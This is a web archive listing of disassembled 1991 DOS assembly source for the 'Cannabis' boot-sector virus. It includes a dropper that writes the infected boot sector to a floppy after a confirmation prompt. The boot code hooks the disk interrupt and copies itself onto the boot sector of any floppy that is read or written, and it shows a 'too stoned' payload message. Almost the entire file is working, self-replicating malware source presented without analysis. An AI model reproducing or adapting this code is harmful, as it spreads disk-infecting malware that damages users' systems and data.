home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CANNAB1.ASM < prev    next >
Assembly Source File  |  1992-09-26  |  5KB  |  232 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    CANNAB1                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Oct-91                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_3e        equ    43Fh
  14. data_8e        equ    5Ch
  15. data_17e    equ    46Ch            ;*
  16. data_18e    equ    7C00h            ;*
  17. data_19e    equ    7C0Bh            ;*
  18. data_20e    equ    7D31h            ;*
  19. data_21e    equ    7D35h            ;*
  20. data_22e    equ    7D73h            ;*
  21. data_23e    equ    7E00h            ;*
  22. data_24e    equ    7E0Bh            ;*
  23.  
  24. seg_a        segment    byte public
  25.         assume    cs:seg_a, ds:seg_a
  26.  
  27.  
  28.         org    100h
  29.  
  30. cannab1        proc    far
  31.  
  32. start:
  33.         mov    dx,13Dh
  34.         dec    byte ptr ds:data_8e
  35.         js    loc_2            ; Jump if sign=1
  36.         mov    dx,155h
  37.         call    sub_1
  38.         xor    ah,ah            ; Zero register
  39.         int    16h            ; Keyboard i/o  ah=function 00h
  40.                         ;  get keybd char in al, ah=scan
  41.         and    al,0DFh
  42.         cmp    al,59h            ; 'Y'
  43.         jne    loc_ret_3        ; Jump if not equal
  44.         mov    dl,0
  45.         mov    ah,0
  46.         int    13h            ; Disk  dl=drive a  ah=func 00h
  47.                         ;  reset disk, al=return status
  48.         jc    loc_1            ; Jump if carry Set
  49.         mov    dx,1E6h
  50.         call    sub_1
  51.         mov    cx,1
  52.         mov    bx,offset data_12
  53.         mov    ax,301h
  54.         cwd                ; Word to double word
  55.         int    13h            ; Disk  dl=drive a  ah=func 03h
  56.                         ;  write sectors from mem es:bx
  57.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  58.         jnc    loc_ret_3        ; Jump if carry=0
  59. loc_1:
  60.         mov    dx,offset data_9+0B7h    ; ('')
  61.  
  62. cannab1        endp
  63.  
  64. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  65. ;                   SUBROUTINE
  66. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  67.  
  68. sub_1        proc    near
  69. loc_2:
  70.         mov    ah,9
  71.         int    21h            ; DOS Services  ah=function 09h
  72.                         ;  display char string at ds:dx
  73.  
  74. loc_ret_3:
  75.         retn
  76. sub_1        endp
  77.  
  78. data_9        db    'Usage:  <FILENAME> A:', 0Dh, 0Ah
  79.         db    '$'
  80.         db    'You are about to install a VIRUS'
  81.         db    ' on your diskette!!!', 0Dh, 0Ah, 'I'
  82.         db    'nsert a formatted 360K diskette '
  83.         db    'into the drive.', 0Dh, 0Ah, 'Are'
  84.         db    ' you sure you want to proceed (y'
  85.         db    '/N)? $'
  86.         db    0Dh, 0Ah, 0Ah, 'Writing...$'
  87.         db    0Dh, 0Ah, 'Error !!!'
  88.         db     07h, 24h
  89. data_12        db    0EBh
  90.         db     3Ch, 90h
  91.         db    'Cannabis'
  92.         db    0
  93.         db     02h, 02h, 01h, 00h, 02h, 70h
  94.         db     00h,0D0h, 02h,0FDh, 02h, 00h
  95.         db     09h, 00h, 02h, 00h
  96.         db    34 dup (0)
  97.         db    0FAh, 33h,0C0h, 8Eh,0D8h, 8Eh
  98.         db    0D0h,0BCh, 00h, 7Ch,0FBh,0BBh
  99.         db    0B1h, 7Ch,0A1h, 4Ch, 00h, 3Bh
  100.         db    0C3h, 74h, 34h,0A3h, 31h, 7Dh
  101.         db    0A1h, 4Eh, 00h,0A3h, 33h, 7Dh
  102.         db     1Eh,0B8h, 10h, 00h, 8Eh,0D8h
  103.         db    0A1h, 13h, 03h, 48h, 48h,0A3h
  104.         db     13h, 03h, 1Fh,0B1h, 06h,0D3h
  105.         db    0E0h, 2Dh,0C0h, 07h, 8Eh,0C0h
  106.         db    0B9h, 00h, 02h,0BEh, 00h, 7Ch
  107.         db     8Bh,0FEh,0FCh,0F3h,0A4h, 89h
  108.         db     1Eh, 4Ch, 00h, 8Ch, 06h, 4Eh
  109.         db     00h
  110.         db    0F6h, 06h, 6Ch, 04h, 07h, 75h
  111.         db     08h
  112.         db    0BEh, 35h, 7Dh,0E8h, 0Eh, 00h
  113. loc_6:
  114.         jmp    short loc_6
  115. loc_7:
  116.         mov    si,data_22e
  117.         call    sub_2
  118.         xor    ax,ax            ; Zero register
  119.         int    16h            ; Keyboard i/o  ah=function 00h
  120.                         ;  get keybd char in al, ah=scan
  121.         int    19h            ; Bootstrap loader
  122.  
  123. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  124. ;                   SUBROUTINE
  125. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  126.  
  127. sub_2        proc    near
  128. loc_8:
  129.         lodsb                ; String [si] to al
  130.         or    al,al            ; Zero ?
  131.         jz    loc_ret_9        ; Jump if zero
  132.         mov    ah,0Eh
  133.         mov    bx,7
  134.         int    10h            ; Video display   ah=functn 0Eh
  135.                         ;  write char al, teletype mode
  136.         jmp    short loc_8
  137.  
  138. loc_ret_9:
  139.         retn
  140. sub_2        endp
  141.  
  142.         push    ax
  143.         push    ds
  144.         cmp    ah,4
  145.         jae    loc_10            ; Jump if above or =
  146.         cmp    ah,2
  147.         jb    loc_10            ; Jump if below
  148.         test    dl,0FEh
  149.         jnz    loc_10            ; Jump if not zero
  150.         xor    ax,ax            ; Zero register
  151.         mov    ds,ax
  152.         test    byte ptr ds:data_3e,1
  153.         jnz    loc_10            ; Jump if not zero
  154.         call    sub_3
  155. loc_10:
  156.         pop    ds
  157.         pop    ax
  158.         jmp    dword ptr cs:data_20e
  159.  
  160. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  161. ;                   SUBROUTINE
  162. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  163.  
  164. sub_3        proc    near
  165.         push    cx
  166.         push    bx
  167.         push    di
  168.         push    si
  169.         push    es
  170.         mov    di,2
  171. loc_11:
  172.         mov    ah,2
  173.         mov    al,1
  174.         mov    bx,7E00h
  175.         mov    cx,1
  176.         push    cs
  177.         pop    es
  178.         pushf                ; Push flags
  179.         call    dword ptr cs:data_20e
  180.         jnc    loc_12            ; Jump if carry=0
  181.         xor    ax,ax            ; Zero register
  182.         pushf                ; Push flags
  183.         call    dword ptr cs:data_20e
  184.         dec    di
  185.         jnz    loc_11            ; Jump if not zero
  186.         jmp    short loc_13
  187.         db    90h
  188. loc_12:
  189.         mov    si,data_23e
  190.         mov    di,data_18e
  191.         push    cs
  192.         pop    ds
  193.         cld                ; Clear direction
  194.         mov    cx,0Bh
  195.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  196.         jz    loc_13            ; Jump if zero
  197.         mov    si,data_24e
  198.         mov    di,data_19e
  199.         mov    cx,33h
  200.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  201.         mov    ax,301h
  202.         mov    bx,7C00h
  203.         mov    cx,1
  204.         pushf                ; Push flags
  205.         call    dword ptr cs:data_20e
  206. loc_13:
  207.         pop    es
  208.         pop    si
  209.         pop    di
  210.         pop    bx
  211.         pop    cx
  212.         retn
  213. sub_3        endp
  214.  
  215.         db    0, 0, 0, 0
  216.         db    0Dh, 0Ah, 'Hey man, I don', 27h, 't'
  217.         db    ' wanna work. I', 27h, 'm too sto'
  218.         db    'ned right now...'
  219.         db    7
  220.         db    0Dh, 0Ah, 0
  221.         db    0Dh, 0Ah, 'Non-System disk or dis'
  222.         db    'k error', 0Dh, 0Ah, 'Replace and'
  223.         db    ' press a key when ready', 0Dh, 0Ah
  224.         db    70 dup (0)
  225.         db     55h,0AAh
  226.  
  227. seg_a        ends
  228.  
  229.  
  230.  
  231.         end    start
  232.